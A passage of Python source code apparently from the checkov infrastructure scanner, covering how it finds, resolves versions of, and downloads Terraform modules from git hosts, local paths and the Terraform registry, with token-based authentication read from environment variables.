checkov.terraform.module_loading.loaders.github_access_token_loader import GithubAccessTokenLoader # noqa from checkov.terraform.module_loading.loaders.bitbucket_access_token_loader import BitbucketAccessTokenLoader # noqa from checkov.terraform.module_loading.loaders.local_path_loader import LocalPathLoader # noqa ================================================ FILE: checkov/terraform/module_loading/content.py ================================================ from __future__ import annotations import tempfile from typing import Optional, Union class ModuleContent: def __init__( self, dir: Optional[Union[tempfile.TemporaryDirectory[str], str]], next_url: Optional[str] = None, failed_url: Optional[str] = None, ) -> None: if isinstance(dir, tempfile.TemporaryDirectory): self.dir: tempfile.TemporaryDirectory[str] | str | None = dir else: self.dir = dir.replace("//", "/") if dir else None self.next_url = next_url self.failed_url = failed_url def loaded(self) -> bool: """ Indicates whether or not the module content could be loaded. If False is returned, `path()` will return None. """ return self.dir is not None def path(self) -> Optional[str]: """ Returns the directory path containing module resources. """ if isinstance(self.dir, tempfile.TemporaryDirectory): return self.dir.name else: return self.dir def cleanup(self) -> None: """ Clean up any temporary resources, if applicable. """ if isinstance(self.dir, tempfile.TemporaryDirectory): self.dir.cleanup() def __repr__(self) -> str: return self.path() or "" ================================================ FILE: checkov/terraform/module_loading/loader.py ================================================ import logging import os from abc import ABC, abstractmethod from typing import Optional from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.module_params import ModuleParams from checkov.terraform.module_loading.registry import module_loader_registry # ModuleContent allows access to a directory containing module file via the `path()` # function. Instances may be used in a `with` context to ensure temporary directories # are removed, if applicable. class ModuleLoader(ABC): def __init__(self) -> None: module_loader_registry.register(self) self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) self.module_source: str = "" self.current_dir: str = "" self.dest_dir: str = "" self.external_modules_folder_name: str = "" self.version = "latest" self.is_external = True self.inner_module: Optional[str] = None self.root_dir = "" # root dir for storing external modules def __eq__(self, loader: object) -> bool: return type(loader) is type(self) @abstractmethod def discover(self, module_params: ModuleParams) -> None: """ discover parameters from execution context of checkov. usually from env variable """ pass def load(self, module_params: ModuleParams) -> ModuleContent: """ This function provides an opportunity for the loader to load a module's content if it chooses to do so. There are three resulting states that can occur when calling this function: 1) the loader can't handle the source type, in which case a ModuleContent is returned for which the `loaded()` method will return False. 2) the loader can handle the source type and loading is successful, in which case a ModuleContent object is returned for which `loaded()` returns True and which provides the directory containing the module files 3) the loader tried to load the module content but and error occurred, in which case an exception is raised. :param module_params: dataclass object that contains all the parameters of the module to load. the data of this object can be changed according to the loader logic :return: A ModuleContent object which may or may not being loaded. """ self.discover(module_params) if not self._is_matching_loader(module_params): self.logger.info(f'the module params of {module_params.module_source} do not match loader {self.__class__}') return ModuleContent(dir=None) module_path = self._find_module_path(module_params) if os.path.exists(module_path): self.logger.info(f'path {module_path} exists so no need to load') return ModuleContent(dir=module_path) self.logger.debug(f"Using {self.__class__.__name__} attempting to get module " f"{module_params.module_source if '@' not in module_params.module_source else module_params.module_source.split('@')[1]} " f"version: {module_params.version}") self.logger.info(f'about to load {module_params.module_source} with {self.__class__}') return self._load_module(module_params) @abstractmethod def _is_matching_loader(self, module_params: ModuleParams) -> bool: raise NotImplementedError() @abstractmethod def _load_module(self, module_params: ModuleParams) -> ModuleContent: raise NotImplementedError() @abstractmethod def _find_module_path(self, module_params: ModuleParams) -> str: raise NotImplementedError() ================================================ FILE: checkov/terraform/module_loading/loaders/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/terraform/module_loading/loaders/bitbucket_access_token_loader.py ================================================ from __future__ import annotations import os from typing import TYPE_CHECKING from checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader if TYPE_CHECKING: from checkov.terraform.module_loading.module_params import ModuleParams class BitbucketAccessTokenLoader(GenericGitLoader): def discover(self, module_params: ModuleParams) -> None: self.module_source_prefix = "bitbucket.org" module_params.username = os.getenv('BITBUCKET_USERNAME', '') app_password = os.getenv('BITBUCKET_APP_PASSWORD', '') module_params.token = os.getenv('BITBUCKET_TOKEN', '') if module_params.token: module_params.username = "x-token-auth" elif module_params.username and app_password: module_params.token = app_password loader = BitbucketAccessTokenLoader() ================================================ FILE: checkov/terraform/module_loading/loaders/bitbucket_loader.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader if TYPE_CHECKING: from checkov.terraform.module_loading.module_params import ModuleParams class BitbucketLoader(GenericGitLoader): def discover(self, module_params: ModuleParams) -> None: self.module_source_prefix = "bitbucket.org" loader = BitbucketLoader() ================================================ FILE: checkov/terraform/module_loading/loaders/git_loader.py ================================================ from __future__ import annotations import os import re from dataclasses import dataclass from pathlib import Path from typing import TYPE_CHECKING from checkov.common.goget.github.get_git import GitGetter from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.loader import ModuleLoader if TYPE_CHECKING: from checkov.terraform.module_loading.module_params import ModuleParams DEFAULT_MODULE_SOURCE_PREFIX = "git::https://" GIT_USER_PATTERN = re.compile(r"^(.*?@).*") @dataclass(frozen=True) class ModuleSource: protocol: str root_module: str inner_module: str version: str username: str class GenericGitLoader(ModuleLoader): def __init__(self) -> None: super().__init__() self.module_source_prefix = DEFAULT_MODULE_SOURCE_PREFIX @property def module_source_prefix(self) -> str: return self._module_source_prefix @module_source_prefix.setter def module_source_prefix(self, prefix: str) -> None: self._module_source_prefix = prefix def discover(self, module_params: ModuleParams) -> None: module_params.vcs_base_url = os.getenv("VCS_BASE_URL", "") # format - https://example.com module_params.module_source_prefix = f"git::{module_params.vcs_base_url}" if module_params.vcs_base_url else None module_params.username = os.getenv("VCS_USERNAME", None) module_params.token = os.getenv("VCS_TOKEN", None) def _is_matching_loader(self, module_params: ModuleParams) -> bool: module_source_prefix = module_params.module_source_prefix if module_params.module_source_prefix else self.module_source_prefix if module_params.module_source.startswith(module_source_prefix): source = module_params.module_source.split(DEFAULT_MODULE_SOURCE_PREFIX)[-1] if module_params.token and module_params.username: module_params.module_source = f"{DEFAULT_MODULE_SOURCE_PREFIX}{module_params.username}:{module_params.token}@{source}" else: module_params.module_source = f"{DEFAULT_MODULE_SOURCE_PREFIX}{source}" return True # https://www.terraform.io/docs/modules/sources.html#generic-git-repository return module_params.module_source.startswith("git::") and not module_params.module_source.startswith("git::git@github.com") def _load_module(self, module_params: ModuleParams) -> ModuleContent: try: self._process_generic_git_repo(module_params) module_source = module_params.module_source.replace("git::", "") git_getter = GitGetter(module_source, create_clone_and_result_dirs=False) git_getter.temp_dir = module_params.dest_dir git_getter.do_get() except Exception as e: str_e = str(e) if os.getenv("GITHUB_PAT") and not module_params.token and "could not read Username for" in str_e: # we probably try to access a private repository, but a GITHUB_PAT was set, # but the current loader (ex. GithubLoader) is not using it return ModuleContent(dir=None, failed_url=module_params.module_source) if 'File exists' not in str_e and 'already exists and is not an empty directory' not in str_e: self.logger.warning(f"failed to get {module_params.module_source} in git loader because of {e}") return ModuleContent(dir=None, failed_url=module_params.module_source) return_dir = module_params.dest_dir self.logger.info(f'finished loading {module_params.module_source}') if module_params.inner_module: return_dir = os.path.join(module_params.dest_dir, module_params.inner_module) return ModuleContent(dir=return_dir) def _find_module_path(self, module_params: ModuleParams) -> str: module_source = self._parse_module_source(module_params) module_path = Path(module_params.root_dir).joinpath( module_params.external_modules_folder_name, module_source.root_module, module_source.version, module_source.inner_module, ) if module_params.inner_module: module_path = module_path / module_params.inner_module return str(module_path) def _parse_module_source(self, module_params: ModuleParams) -> ModuleSource: module_source_components = module_params.module_source.split("//") if "?ref=" in module_source_components[-1]: module_version_components = module_source_components[-1].rsplit("?ref=", maxsplit=1) module_source_components[-1] = module_version_components[0] version = module_version_components[1] else: version = "HEAD" if len(module_source_components) < 3: if len(module_source_components) == 2 and "git::git" in module_source_components[0]: # Handling the use case of `git::git@github.com:test-inner-module/out-module//inner-module` root_module = module_source_components[-2] inner_module = module_source_components[-1] else: # Handling the use case of `git::@github.com:test-no-inner-module/out-module` root_module = module_source_components[-1] inner_module = "" elif len(module_source_components) == 3: # Handling the use case of `git::://github.com:test-inner-module/out-module//inner-module` root_module = module_source_components[1] inner_module = module_source_components[2] else: raise Exception("invalid git url") username = None if "@" in root_module: username = re.match(GIT_USER_PATTERN, root_module) if username and username[1] != "git@": root_module = root_module.replace(username[1], "") if root_module.endswith(".git"): root_module = root_module[:-4] return ModuleSource( protocol=module_source_components[0], root_module=root_module, inner_module=inner_module, version=version, username=username[1] if username and username[1] != "git@" else "" ) def _process_generic_git_repo(self, module_params: ModuleParams) -> None: module_source = self._parse_module_source(module_params) if module_source.inner_module: module_params.dest_dir = str( Path(module_params.root_dir).joinpath( module_params.external_modules_folder_name, module_source.root_module, module_source.version ) ) module_params.inner_module = module_source.inner_module module_params.module_source = f"{module_source.protocol}//{module_source.root_module}" if module_source.username: module_params.module_source = f"{module_source.protocol}//{module_source.username}{module_source.root_module}" if module_source.version != "HEAD": module_params.module_source += f"?ref={module_source.version}" else: module_params.dest_dir = str( Path(module_params.root_dir).joinpath( module_params.external_modules_folder_name, module_source.root_module, module_source.version ) ) loader = GenericGitLoader() ================================================ FILE: checkov/terraform/module_loading/loaders/github_access_token_loader.py ================================================ from __future__ import annotations import os from typing import TYPE_CHECKING from checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader if TYPE_CHECKING: from checkov.terraform.module_loading.module_params import ModuleParams class GithubAccessTokenLoader(GenericGitLoader): def discover(self, module_params: ModuleParams) -> None: self.module_source_prefix = "github.com" module_params.username = "x-access-token" module_params.token = os.getenv('GITHUB_PAT', '') def _is_matching_loader(self, module_params: ModuleParams) -> bool: if module_params.token: # if GITHUB_PAT is set and previous loaders failed, convert source (github ssh or github http or generic git) # to use the token in generic format git::https://x-access-token:@github.com/org/repo.git self.logger.debug("GITHUB_PAT found. Attempting to clone module using HTTP basic authentication.") # if module_source = github.com/org/repo if module_params.module_source.startswith(self.module_source_prefix): module_params.module_source = f"git::https://{module_params.username}:{module_params.token}@{module_params.module_source}" return True # if module_source = git::https://github.com/org/repo.git if module_params.module_source.startswith(f"git::https://{self.module_source_prefix}"): module_params.module_source = f"git::https://{module_params.username}:{module_params.token}@{module_params.module_source.split('git::https://')[1]}" return True # if module_source = git@github.com:org/repo.git if module_params.module_source.startswith(f"git@{self.module_source_prefix}:"): module_params.module_source = f"git::https://{module_params.username}:{module_params.token}@{module_params.module_source.split('git@')[1].replace(':', '/')}" return True # if module_source = git::ssh://git@github.com/org/repo.git if module_params.module_source.startswith(f"git::ssh://git@{self.module_source_prefix}"): module_params.module_source = f"git::https://{module_params.username}:{module_params.token}@{module_params.module_source.split('git::ssh://git@')[1]}" return True return False loader = GithubAccessTokenLoader() ================================================ FILE: checkov/terraform/module_loading/loaders/github_loader.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.terraform.module_loading.loaders.git_loader import GenericGitLoader if TYPE_CHECKING: from checkov.terraform.module_loading.module_params import ModuleParams class GithubLoader(GenericGitLoader): def discover(self, module_params: ModuleParams) -> None: self.module_source_prefix = "github.com" def _is_matching_loader(self, module_params: ModuleParams) -> bool: # https://www.terraform.io/docs/modules/sources.html#github if module_params.module_source.startswith(self.module_source_prefix): module_params.module_source = f"git::https://{module_params.module_source}" return True if module_params.module_source.startswith(f"git@{self.module_source_prefix}"): source = module_params.module_source.replace(":", "/") module_params.module_source = f"git::ssh://{source}" return True # We should treat git::git@github.com:... the same as git@github.com:... if module_params.module_source.startswith(f"git::git@{self.module_source_prefix}"): source = module_params.module_source.replace("git::", "") source = source.replace(":", "/") module_params.module_source = f"git::ssh://{source}" return True return False loader = GithubLoader() ================================================ FILE: checkov/terraform/module_loading/loaders/local_path_loader.py ================================================ from __future__ import annotations import os import platform import re import logging from typing import TYPE_CHECKING from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.loader import ModuleLoader if TYPE_CHECKING: from checkov.terraform.module_loading.module_params import ModuleParams WINDOWS_MODULE_SOURCE_PATH_PATTERN = re.compile("[a-zA-Z]:\\\\") class LocalPathLoader(ModuleLoader): def __init__(self) -> None: super().__init__() self.is_external = False def discover(self, module_params: ModuleParams) -> None: pass def _is_matching_loader(self, module_params: ModuleParams) -> bool: if module_params.tf_managed: # Terraform managed modules are already downloaded and can be handled as local modules return True if module_params.module_source.startswith(("./", "../", module_params.current_dir, "/")): return True if platform.system() == "Windows": logging.debug("Platform: Windows") if re.match(WINDOWS_MODULE_SOURCE_PATH_PATTERN, module_params.module_source): return True return False def _load_module(self, module_params: ModuleParams) -> ModuleContent: module_path = os.path.normpath(os.path.join(module_params.current_dir, module_params.module_source)) if module_params.module_source.startswith(module_params.current_dir): module_path = module_params.module_source if not os.path.exists(module_path): raise FileNotFoundError(module_path) return ModuleContent(module_path) def _find_module_path(self, module_params: ModuleParams) -> str: # to determine the exact path here would mimic _load_module() return "" loader = LocalPathLoader() ================================================ FILE: checkov/terraform/module_loading/loaders/registry_loader.py ================================================ from __future__ import annotations import os from http import HTTPStatus from typing import List, Dict, TYPE_CHECKING import requests from requests.exceptions import HTTPError from urllib.parse import urljoin from urllib.parse import urlparse from checkov.common.models.consts import TFC_HOST_NAME from checkov.common.goget.registry.get_registry import RegistryGetter from checkov.common.util.http_utils import DEFAULT_TIMEOUT from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.loader import ModuleLoader from checkov.terraform.module_loading.loaders.versions_parser import ( order_versions_in_descending_order, get_version_constraints ) from checkov.common.proxy.proxy_client import call_http_request_with_proxy if TYPE_CHECKING: from checkov.terraform.module_loading.module_params import ModuleParams # https://developer.hashicorp.com/terraform/language/modules/sources#fetching-archives-over-http MODULE_ARCHIVE_EXTENSIONS = ["zip", "tar.bz2", "tar.gz", "tgz", "tar.xz", "txz"] class RegistryLoader(ModuleLoader): modules_versions_cache: Dict[str, List[str]] = {} # noqa: CCE003 # public data def __init__(self) -> None: super().__init__() def discover(self, module_params: ModuleParams) -> None: module_params.tf_host_name = os.getenv("TF_HOST_NAME", TFC_HOST_NAME) module_params.token = os.getenv("TF_REGISTRY_TOKEN", "") tfc_token = os.getenv("TFC_TOKEN") if tfc_token: self.logger.warn("Environment variable TFC_TOKEN will be deprecated in the future. Please use TF_REGISTRY_TOKEN instead.") module_params.token = tfc_token def _is_matching_loader(self, module_params: ModuleParams) -> bool: # https://developer.hashicorp.com/terraform/language/modules/sources#github if module_params.module_source.startswith(("/", "github.com", "bitbucket.org", "git::", "git@github.com")): return False self._process_inner_registry_module(module_params) # determine tf api endpoints self._determine_tf_api_endpoints(module_params) # If versions for a module are cached, determine the best version and return True. # If versions are not cached, get versions, then determine the best version and return True. # Best version needs to be determined here for setting most accurate dest_dir. if module_params.tf_modules_versions_endpoint in RegistryLoader.modules_versions_cache.keys(): module_params.best_version = self._find_best_version(module_params) return True if not self._cache_available_versions(module_params): return False module_params.best_version = self._find_best_version(module_params) if not module_params.inner_module and module_params.tf_host_name: module_params.dest_dir = os.path.join(module_params.root_dir, module_params.external_modules_folder_name, module_params.tf_host_name, *module_params.module_source.split("/"), module_params.best_version) if os.path.exists(module_params.dest_dir): return True # verify cache again after refresh if module_params.tf_modules_versions_endpoint in RegistryLoader.modules_versions_cache.keys(): return True return False def _load_module(self, module_params: ModuleParams) -> ModuleContent: if module_params.best_version: best_version = module_params.best_version else: if self._cache_available_versions(module_params): module_params.best_version = self._find_best_version(module_params) if os.path.exists(module_params.dest_dir): # If there's an inner module, return the path to the inner module directory # instead of the base dest_dir. This fixes an issue where multiple modules # from the same base source but different inner modules would all return # the base directory, causing only the first module to be scanned. # This issue only occurs on Linux because Windows uses MD5 hashes for paths, # which creates unique directories for each full module source. if module_params.inner_module: return ModuleContent(dir=os.path.join(module_params.dest_dir, module_params.inner_module)) return ModuleContent(dir=module_params.dest_dir) elif not module_params.tf_modules_endpoint: return ModuleContent(dir=None) request_download_url = urljoin(module_params.tf_modules_endpoint, "/".join((module_params.module_source, best_version, "download"))) self.logger.debug(f"Best version for {module_params.module_source} is {best_version} based on the version constraint {module_params.version}.") self.logger.debug(f"Module download url: {request_download_url} and proxy: {os.getenv('PROXY_URL')}") try: request = requests.Request( method='GET', url=request_download_url, headers={"Authorization": f"Bearer {module_params.token}"} if module_params.token else None ) if os.getenv('PROXY_URL'): self.logger.info(f'Sending request to {request.url} through proxy') response = call_http_request_with_proxy(request) else: session = requests.Session() prepared_request = session.prepare_request(request) response = session.send(prepared_request, timeout=DEFAULT_TIMEOUT) response.raise_for_status() except HTTPError as e: self.logger.warning(e) if response.status_code != HTTPStatus.OK and response.status_code != HTTPStatus.NO_CONTENT: return ModuleContent(dir=None) # https://www.terraform.io/registry/api-docs#download-source-code-for-a-specific-module-version module_download_url = response.headers.get('X-Terraform-Get', '') self.logger.debug(f"X-Terraform-Get: {module_download_url}") module_download_url = self._normalize_module_download_url(module_params, module_download_url) self.logger.debug(f"Cloning module from normalized url {module_download_url}") archive_extension = self._get_archive_extension(module_download_url) if archive_extension: try: registry_getter = RegistryGetter(module_download_url, archive_extension) registry_getter.temp_dir = module_params.dest_dir registry_getter.do_get() return_dir = module_params.dest_dir except Exception as e: str_e = str(e) if 'File exists' not in str_e and 'already exists and is not an empty directory' not in str_e: self.logger.error(f"failed to get {module_params.module_source} in registry loader because of {e}") return ModuleContent(dir=None, failed_url=module_params.module_source) if module_params.inner_module: return_dir = os.path.join(module_params.dest_dir, module_params.inner_module) return ModuleContent(dir=return_dir) else: return ModuleContent(dir=None, next_url=response.headers.get("X-Terraform-Get", "")) def _find_module_path(self, module_params: ModuleParams) -> str: # to determine the exact path here would be almost a duplicate of the git_loader functionality return "" def _find_best_version(self, module_params: ModuleParams) -> str: versions_by_size = RegistryLoader.modules_versions_cache.get(module_params.tf_modules_versions_endpoint, []) # type:ignore[arg-type] # argument can be None if module_params.version == "latest": module_params.version = versions_by_size[0] elif module_params.version is None: return "latest" version_constraints = get_version_constraints(module_params.version) num_of_matches = 0 for version in versions_by_size: for version_constraint in version_constraints: if not version_constraint.versions_matching(version): break else: num_of_matches += 1 if num_of_matches == len(version_constraints): return version else: num_of_matches = 0 return "latest" def _cache_available_versions(self, module_params: ModuleParams) -> bool: # Get all available versions for a module in the registry and cache them. # Returns False on failure. if not module_params.tf_modules_versions_endpoint: return False try: request = requests.Request( method='GET', headers={"Authorization": f"Bearer {module_params.token}"} if module_params.token else None, url=module_params.tf_modules_versions_endpoint ) if os.getenv('PROXY_URL'): self.logger.info(f'Sending request to {request.url} through proxy') response = call_http_request_with_proxy(request) else: session = requests.Session() prepared_request = session.prepare_request(request) response = session.send(prepared_request, timeout=DEFAULT_TIMEOUT) response.raise_for_status() available_versions = [ v.get("version") for v in response.json().get("modules", [{}])[0].get("versions", {}) ] RegistryLoader.modules_versions_cache[module_params.tf_modules_versions_endpoint] = order_versions_in_descending_order( available_versions) return True except HTTPError as e: self.logger.debug(e) return False def _process_inner_registry_module(self, module_params: ModuleParams) -> None: # Check if the source has '//' in it. If it does, it indicates a reference for an inner module. # Example: "terraform-aws-modules/security-group/aws//modules/http-80" => # module_source = terraform-aws-modules/security-group/aws # dest_dir = modules/http-80 module_source_components = module_params.module_source.split("//") if len(module_source_components) > 1: module_params.module_source = module_source_components[0] module_params.dest_dir = module_params.dest_dir.split("//")[0] module_params.inner_module = module_source_components[1] def _determine_tf_api_endpoints(self, module_params: ModuleParams) -> None: """ Determines terraform registry endpoints - tf_host_name, tf_modules_endpoint, tf_modules_versions_endpoint """ if module_params.tf_host_name and module_params.module_source.startswith(module_params.tf_host_name): # check if module source supports native Terraform services # https://www.terraform.io/internals/remote-service-discovery#remote-service-discovery module_params.module_source = module_params.module_source.replace(f"{module_params.tf_host_name}/", "") try: request = requests.Request( method='GET', url=f"https://{module_params.tf_host_name}/.well-known/terraform.json" ) if os.getenv('PROXY_URL'): self.logger.info(f'Sending request to {request.url} through proxy') response = call_http_request_with_proxy(request) else: session = requests.Session() prepared_request = session.prepare_request(request) response = session.send(prepared_request, timeout=DEFAULT_TIMEOUT) response.raise_for_status() except HTTPError as e: self.logger.debug(e) if response.status_code != HTTPStatus.OK and response.status_code != HTTPStatus.NO_CONTENT: return None self.logger.debug(f"Service discovery response: {response.json()}") module_params.tf_modules_endpoint = self._normalize_module_download_url(module_params, response.json().get('modules.v1')) else: # use terraform cloud host name and url for the public registry module_params.tf_host_name = TFC_HOST_NAME module_params.tf_modules_endpoint = "https://registry.terraform.io/v1/modules/" # assume module_params.tf_modules_endpoint ends with a slash as per https://developer.hashicorp.com/terraform/internals/module-registry-protocol#service-discovery module_params.tf_modules_versions_endpoint = urljoin(module_params.tf_modules_endpoint, "/".join((module_params.module_source, "versions"))) def _normalize_module_download_url(self, module_params: ModuleParams, module_download_url: str) -> str: if not urlparse(module_download_url).netloc: module_download_url = f"https://{module_params.tf_host_name}{module_download_url}" return module_download_url @staticmethod def _get_archive_extension(module_download_url: str) -> str | None: module_download_path = urlparse(module_download_url).path for extension in MODULE_ARCHIVE_EXTENSIONS: if module_download_path.endswith(extension): return extension query_params_str = urlparse(module_download_url).query if query_params_str: query_params = query_params_str.split("&") for query_param in query_params: if query_param.startswith("archive="): return query_params_str.split("=")[1] return None loader = RegistryLoader() ================================================ FILE: checkov/terraform/module_loading/loaders/versions_parser.py ================================================ from __future__ import annotations import re from typing import List, Dict, Optional, cast, Callable from checkov.common.packaging import version VERSION_REGEX = re.compile(r"^(?P=|!=|>=|>|<=|<|~>)?\s*(?P[\d.]+-?\w*)$") class VersionConstraint: """ A class representing a module version. Enables comparing versions. """ def __init__(self, constraint_parts: Dict[str, Optional[str]]) -> None: """ :param constraint_parts: a dictionary representing a version constraint: {"version": "v1.2.3", "operator": ">="} """ self.version = cast("version.Version", version.parse(constraint_parts.get("version") or "")) self.operator = constraint_parts.get("operator") or "=" def get_max_version_for_most_specific_segment(self) -> version.Version: return cast("version.Version", version.parse(f"{self.version.major + 1}.0.0")) def versions_matching(self, other_version_str: str) -> bool: other_version = cast("version.Version", version.parse(other_version_str)) version_matchers: dict[str, Callable[[version.Version], bool]] = { "=": lambda other: other == self.version, "!=": lambda other: other != self.version, ">": lambda other: other > self.version, ">=": lambda other: other >= self.version, "<": lambda other: other < self.version, "<=": lambda other: other <= self.version, "~>": lambda other: self.version <= other < self.get_max_version_for_most_specific_segment(), } return version_matchers[self.operator](other_version) def __str__(self) -> str: return f"{self.operator}{self.version}" def get_version_constraints(raw_version: str) -> List[VersionConstraint]: """ :param raw_version: A string representation of a version, e.g: "~> v1.2.3" :return: VersionConstraint instance """ raw_version = raw_version.replace(" ", "") raw_version_constraints = raw_version.split(",") version_constraints = [] for constraint in raw_version_constraints: match = re.search(VERSION_REGEX, constraint) if match: constraint_parts = match.groupdict() version_constraints.append(VersionConstraint(constraint_parts)) return version_constraints def order_versions_in_descending_order(versions_strings: List[str]) -> List[str]: """ :param versions_strings: array of string versions: ["v1.2.3", "v1.2.4"...] :return: A sorted array of versions in descending order """ for iter_num in range(len(versions_strings) - 1, 0, -1): for idx in range(iter_num): if version.parse(versions_strings[idx]) < version.parse(versions_strings[idx + 1]): temp = versions_strings[idx] versions_strings[idx] = versions_strings[idx + 1] versions_strings[idx + 1] = temp return versions_strings ================================================ FILE: checkov/terraform/module_loading/module_finder.py ================================================ from __future__ import annotations import json import logging import os import re from pathlib import Path from typing import List, Callable, TYPE_CHECKING, Any, Optional, Dict from checkov.common.util.env_vars_config import env_vars_config from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.terraform.module_loading.registry import module_loader_registry from checkov.terraform.parser_utils import load_or_die_quietly if TYPE_CHECKING: from checkov.terraform.module_loading.registry import ModuleLoaderRegistry class ModuleDownload: def __init__(self, source_dir: str) -> None: self.source_dir = source_dir self.address: str | None = None self.module_name: str | None = None self.module_link: str | None = None self.tf_managed = False self.version: str | None = None def __str__(self) -> str: return f"{self.source_dir} -> {self.module_link} ({self.version})" def find_tf_managed_modules(path: str) -> List[ModuleDownload]: """ Leverage modules.json to better inform discovery. If we have this, there should be no need to walk and gather modules. """ modules_found: list[ModuleDownload] = [] tf_modules_file = Path(path) / '.terraform' / 'modules' / 'modules.json' if not tf_modules_file.exists(): return modules_found for mod in json.loads(tf_modules_file.read_bytes())['Modules']: if mod['Key']: md = ModuleDownload(path) md.module_name = mod['Key'] md.module_link = mod['Dir'] md.version = mod['Version'] if 'Version' in mod else 'latest' md.address = f"{mod['Source']}:{md.version}" md.tf_managed = True modules_found.append(md) return modules_found def find_modules(path: str, loaded_files_cache: Optional[Dict[str, Any]] = None, parsing_errors: Optional[Dict[str, Exception]] = None, excluded_paths: Optional[list[str]] = None) -> list[ModuleDownload]: modules_found: list[ModuleDownload] = [] if loaded_files_cache is None: loaded_files_cache = {} if parsing_errors is None: parsing_errors = {} excluded_paths_regex = re.compile('|'.join(f"({excluded_paths})")) if excluded_paths else None for root, _, full_file_names in os.walk(path): for file_name in full_file_names: if not file_name.endswith(".tf"): continue if root.startswith(os.path.join(path, ".terraform", "modules")): # don't scan the modules folder used by Terraform continue file_path = os.path.join(root, file_name) if excluded_paths_regex and excluded_paths_regex.search(file_path): continue data = load_or_die_quietly(file_path, parsing_errors) if not data: continue loaded_files_cache[file_path] = data if "module" not in data: continue for module in data["module"]: for module_name, module_data in module.items(): md = ModuleDownload(os.path.dirname(file_path)) md.module_name = module_name md.module_link = module_data.get("source", [None])[0] md.version = module_data.get("version", [None])[0] if md.module_link: md.address = f"{md.module_link}:{md.version}" if md.version else md.module_link modules_found.append(md) return modules_found def should_download(path: str | None) -> bool: return path is not None and not (path.startswith('./') or path.startswith('../') or path.startswith('/')) def load_tf_modules( path: str, should_download_module: Callable[[str | None], bool] = should_download, run_parallel: bool = False, modules_to_load: List[ModuleDownload] | None = None, stop_on_failure: bool = False, loaded_files_cache: dict[str, Any] | None = None, parsing_errors: dict[str, Exception] | None = None, excluded_paths: List[str] | None = None, ) -> None: module_loader_registry.root_dir = path if not modules_to_load and env_vars_config.CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES: modules_to_load = find_tf_managed_modules(path) if not modules_to_load: modules_to_load = find_modules(path, loaded_files_cache=loaded_files_cache, parsing_errors=parsing_errors, excluded_paths=excluded_paths) # To avoid duplicate work, we need to get the distinct module sources distinct_modules = list({m.address: m for m in modules_to_load}.values()) downloadable_modules = [ (module_loader_registry, m) for m in distinct_modules if should_download_module(m.module_link) ] if run_parallel: list(parallel_runner.run_function(_download_module, downloadable_modules)) else: logging.info(f"Starting download of modules of length {len(downloadable_modules)}") for m in downloadable_modules: success = _download_module(*m) if not success and stop_on_failure: logging.info(f"Stopping downloading of modules due to failed attempt on {m[1].address}") break def _download_module(ml_registry: ModuleLoaderRegistry, module_download: ModuleDownload) -> bool: logging.info(f'Downloading module {module_download.address}') try: content = ml_registry.load( current_dir=module_download.source_dir, source=module_download.module_link, source_version="latest" if not module_download.version else module_download.version, module_address=module_download.address, tf_managed=module_download.tf_managed, ) if content is None or not content.loaded(): if ml_registry.download_external_modules is not False: log_message = f'Failed to download module {module_download.address}' if ml_registry.download_external_modules is None: log_message += ' (for external modules, the --download-external-modules flag is required)' logging.warning(log_message) return False except Exception as e: logging.warning(f"Unable to load module ({module_download.address}): {e}") return False return True ================================================ FILE: checkov/terraform/module_loading/module_params.py ================================================ from dataclasses import dataclass from typing import Optional @dataclass class ModuleParams: def __init__( self, root_dir: str, current_dir: str, source: str, source_version: Optional[str], dest_dir: str, external_modules_folder_name: str, inner_module: Optional[str] = None, tf_managed: bool = False, ): self.root_dir: str = root_dir self.current_dir: str = current_dir self.module_source: str = source self.version: Optional[str] = source_version self.dest_dir: str = dest_dir self.external_modules_folder_name: str = external_modules_folder_name self.inner_module: Optional[str] = inner_module self.tf_managed = tf_managed self.token: Optional[str] = None self.username: Optional[str] = None self.vcs_base_url: Optional[str] = None self.module_source_prefix: Optional[str] = None self.best_version: Optional[str] = None # terraform cloud / enterprise specific params self.tf_host_name: Optional[str] = None self.tf_modules_endpoint: Optional[str] = None self.tf_modules_versions_endpoint: Optional[str] = None ================================================ FILE: checkov/terraform/module_loading/registry.py ================================================ from __future__ import annotations import logging import os import hashlib from typing import Optional, List, TYPE_CHECKING, Set, Dict from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR from checkov.common.util.env_vars_config import env_vars_config from checkov.terraform.module_loading.content import ModuleContent from checkov.terraform.module_loading.module_params import ModuleParams if TYPE_CHECKING: from checkov.terraform.module_loading.loader import ModuleLoader class ModuleLoaderRegistry: loaders: List["ModuleLoader"] = [] # noqa: CCE003 module_content_cache: Dict[str, Optional[ModuleContent]] = {} # noqa: CCE003 module_latest: Dict[str, str] = {} # noqa: CCE003 def __init__( self, download_external_modules: Optional[bool] = False, external_modules_folder_name: str = DEFAULT_EXTERNAL_MODULES_DIR ) -> None: self.logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(self.logger) self.download_external_modules = download_external_modules self.external_modules_folder_name = external_modules_folder_name self.failed_urls_cache: Set[str] = set() self.root_dir = "" # root dir for storing external modules def load( self, current_dir: str, source: str | None, source_version: str | None, module_address: str | None = None, tf_managed: bool = False, ) -> ModuleContent | None: """ Search all registered loaders for the first one which is able to load the module source type. For more information, see `loader.ModuleLoader.load`. """ if source is None: return None if module_address is None: module_address = f'{source}:{source_version}' if module_address in self.module_content_cache: logging.debug(f'Used the cache for module {module_address}') return self.module_content_cache[module_address] # If we have tf managed modules, we likely have whatever :latest is in the cache if 